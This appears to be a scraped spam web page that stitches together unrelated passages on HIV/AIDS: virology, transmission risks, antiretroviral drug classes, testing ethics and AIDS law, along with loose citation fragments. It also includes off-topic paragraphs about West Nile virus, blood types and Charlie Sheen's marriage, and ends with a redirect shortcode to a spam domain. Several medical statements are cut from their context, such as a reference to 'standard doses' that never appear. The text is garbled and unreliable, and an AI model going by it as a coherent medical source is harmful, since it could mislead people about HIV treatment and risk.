Acquired immune deficiency syndrome (AIDS) is caused by infection with the human immunodeficiency virus (HIV), which destroys a certain type of T lymphocyte, the helper T cell. An infected individual is susceptible to a variety of infectious organisms, including those called opportunistic pathogens, which may live benignly in the…
^ Jump up to: a b c Herek GM, Capitanio JP (1999). “AIDS Stigma and sexual prejudice” (PDF). American Behavioral Scientist. 42 (7): 1130–1147. doi:10.1177/0002764299042007006. Archived from the original (PDF) on April 9, 2006. Retrieved March 27, 2006.
The RNA genome consists of at least seven structural landmarks (LTR, TAR, RRE, PE, SLIP, CRS, and INS), and nine genes (gag, pol, and env, tat, rev, nef, vif, vpr, vpu, and sometimes a tenth tev, which is a fusion of tat, env and rev), encoding 19 proteins. Three of these genes, gag, pol, and env, contain information needed to make the structural proteins for new virus particles. For example, env codes for a protein called gp160 that is cut in two by a cellular protease to form gp120 and gp41. The six remaining genes, tat, rev, nef, vif, vpr, and vpu (or vpx in the case of HIV-2), are regulatory genes for proteins that control the ability of HIV to infect cells, produce new copies of virus (replicate), or cause disease.
West Nile virus a virus of the genus Flavivirus, the cause of West Nile encephalitis; it is transmitted by Culex mosquitoes, with wild birds serving as the reservoir. It was originally endemic in Africa, Asia, and Europe, but recently spread to North America.
Jump up ^ Hymes KB, Cheung T, Greene JB, Prose NS, Marcus A, Ballard H, William DC, Laubenstein LJ (September 1981). “Kaposi’s sarcoma in homosexual men-a report of eight cases”. The Lancet. 2 (8247): 598–600. doi:10.1016/S0140-6736(81)92740-9. PMID 6116083.
These are standard doses for average-sized adults, and dosing may vary depending upon the weight of a patient. Certain combinations of drugs in this class should generally be avoided, including d4T with ZDV or ddI, 3TC with FTC, and TDF with ddI.
99. UNAIDS (2016) ‘UNAIDS announces 18.2 million people on antiretroviral therapy, but warns that 15–24 years of age is a highly dangerous time for young women’ (Accessed 24/01/2017), WHO (2016) ‘Global report on early warning indicators for HIV drug resistance’
The only drug in this class is T-20, which is administered as a twice-daily subcutaneous injection. The most common side effects are redness and pain at the site of injection. Rarely, infection can occur at the injection site. There also are reports of generalized allergic reactions.
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Masia M, Padilla S, Alvarez D, et al. Risk, predictors, and mortality associated with non-AIDS events in newly diagnosed HIV-infected patients: role of antiretroviral therapy. AIDS. 2013 Jan 14. 27(2):181-9. [Medline].
The HIV DNA copy is incorporated into the DNA of the infected lymphocyte. The lymphocyte’s own genetic machinery then reproduces (replicates) the HIV. Eventually, the lymphocyte is destroyed. Each infected lymphocyte produces thousands of new viruses, which infect other lymphocytes and destroy them as well. Within a few days or weeks, the blood and genital fluids contain a very large amount of HIV, and the number of CD4+ lymphocytes may be reduced substantially. Because the amount of HIV in blood and genital fluids is so large so soon after HIV infection, newly infected people transmit HIV to other people very easily.
The second most frequent mode of HIV transmission is via blood and blood products. Blood-borne transmission can be through needle-sharing during intravenous drug use, needle stick injury, transfusion of contaminated blood or blood product, or medical injections with unsterilized equipment. The risk from sharing a needle during drug injection is between 0.63 and 2.4% per act, with an average of 0.8%. The risk of acquiring HIV from a needle stick from an HIV-infected person is estimated as 0.3% (about 1 in 333) per act and the risk following mucous membrane exposure to infected blood as 0.09% (about 1 in 1000) per act. In the United States intravenous drug users made up 12% of all new cases of HIV in 2009, and in some areas more than 80% of people who inject drugs are HIV positive.
In Seattle, a group headed by Hans-Peter Kiem and Keith Jerome is taking a more futuristic approach. Using an enzyme called Zinc Finger Nuclease, they are genetically altering blood and marrow stem cells so as to disable CCR5, the doorway for infection in T cells. Researchers will modify the stem cells outside the body, so that when the cells are returned some portion of the T cells in the bloodstream will be resistant to H.I.V. infection. Over time, they hope, those will propagate, and the patient will slowly build an immune system that is resistant to the virus. Those patients might still have a small reservoir of H.I.V., but their bodies would be able to regulate the infection.
In July 2015, UNAIDS announced that the Millennium Development Goal (MDG) relating to HIV and AIDS had been reached six months ahead of schedule. The target of MDG 6 – halting and reversing the spread of HIV – saw 15 million people receive treatment.95
Although epidemics are public crises, they begin with individuals. The rights of people who have AIDS and those who do not are often in contention and seldom more so than in private life. It is no surprise that people with HIV continue having sex, nor is it a surprise that this behavior is, usually, legal. Unfortunately, some do so without knowing they have the virus. Even more unfortunately, others do so in full knowledge that they are HIV-positive but without informing their partners. This dangerous behavior has opened one area of AIDS law that affects individuals: the legal duty to warn a partner before engaging in behavior that can transmit the infection. A similar duty was recognized by courts long before AIDS ever appeared, with regard to other sexually transmitted diseases.
Centers for Disease Control and Prevention. Monitoring selected national HIV prevention and care objectives by using HIV surveillance data—United States and 6 U.S. dependent areas—2010. HIV Surveillance Supplemental Report 2012;17(No. 3, part A). Atlanta (GA): CDC; 2012. Available at: http://www.cdc.gov/hiv/pdf/statistics_2010_HIV_Surveillance_Report_vol_17_no_3.pdf. Retrieved December 11, 2013. ⇦
A generalized graph of the relationship between HIV copies (viral load) and CD4 counts over the average course of untreated HIV infection; any particular individual’s disease course may vary considerably.
In addition, each person’s blood is either Rh-positive or Rh-negative. It is important to know what to expect before, during, and after a blood transfusion, and the risk factors or complications of a blood transfusion.
Therapy is initiated and individualized under the supervision of a physician who is an expert in the care of HIV-infected patients. A combination of at least three ART drugs is needed to suppress the virus from replicating and boost the immune system. How these drugs are combined depends on the most current treatment guidelines, individual patient preferences, other medical conditions, past treatment history, and any resistance mutations in the individual’s virus. Resistance mutations may already be present at the time of infection, thus most clinicians will test the patient’s virus for resistance mutations prior to starting or changing a regimen.
Jump up ^ Moyer,, Virginia A. (April 2013). “Screening for HIV: U.S. Preventive Services Task Force Recommendation Statement”. Annals of Internal Medicine. doi:10.7326/0003-4819-159-1-201307020-00645.
There are currently six major classes of antiretroviral medications: (1) nucleoside reverse transcriptase inhibitors (NRTIs), (2) non-nucleoside reverse transcriptase inhibitors (NNRTIs), (3) protease inhibitors (PIs), (4) fusion (entry) inhibitors, (5) integrase inhibitors, and (6) CCR5 antagonists. These drugs are used in different combinations according to the needs of the patient and depending on whether the virus has become resistant to a specific drug or class of drugs. Treatment regimens usually consist of three to four medications at the same time. Combination treatment is essential because using only one class of medication by itself allows the virus to become resistant to the medication. There are now available pills that contain multiple drugs in a single pill, making it possible for many people to be treated with a single pill per day.
In 2002, Sheen married Richards. The marriage produced two daughters but was rocky; Richards filed a restraining order against him in 2006 and filed for divorce while pregnant with their second child. Sheen later tried to block the appearance of their children on Richards’ reality show and insulted her in the media, a habit he’s continued to the present day.
Because many HIV-positive pregnant women are treated or take prophylactic drugs, the incidence of AIDS in children is decreasing in many countries (see Human Immunodeficiency Virus (HIV) Infection in Infants and Children).
Higher viral loads in the source partner are associated with higher transmission rates; thus, because barrier contraception is imperfect (although by far the best method to prevent sexual transmission), good control of viral load is important.
Current treatments do not cure the infection. The medicines only work as long as they are taken every day. If the medicines are stopped, the viral load will go up and the CD4 count will drop. If the medicines are not taken regularly, the virus can become resistant to one or more of the drugs, and the treatment will stop working.
Opt-out testing removes the requirement for pretest counseling and detailed, testing-related informed consent. Under the opt-out strategy, physicians must inform patients that routine blood work will include HIV testing and that they have the right to refuse this test. The goal of this strategy is to make HIV testing less cumbersome and more likely to be performed by incorporating it into the routine battery of tests (eg, the first-trimester prenatal panel or blood counts and cholesterol screening for annual examinations). In theory, if testing barriers are reduced, more physicians may offer testing, which may lead to the identification and treatment of more women who are infected with HIV and, if pregnant, to the prevention of mother-to-infant transmission of HIV. This testing strategy aims to balance competing ethical considerations. On the one hand, personal freedom (autonomy) is diminished. On the other hand, there are medical and social benefits for the woman and, if she is pregnant, her newborn from identifying HIV infection. Although many welcome the now widely endorsed opt-out testing policy for the potential benefits it confers, others have raised concerns about the possibility that the requirement for notification before testing will be ignored, particularly in today’s busy practice environment. Indeed, the opt-out strategy is an ethically acceptable testing strategy only if the patient is given the option to refuse testing. In the absence of that notification, this approach is merely mandatory testing in disguise. If opt-out testing is elected as a testing strategy, a clinician must notify the patient that HIV testing is to be performed. Refusal of testing should not have an adverse effect on the care the patient receives or lead to denial of health care. This guarantee of a right to refuse testing ensures that respect for a woman’s autonomy is not completely abridged in the quest to achieve a difficult-to-reach public health goal. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]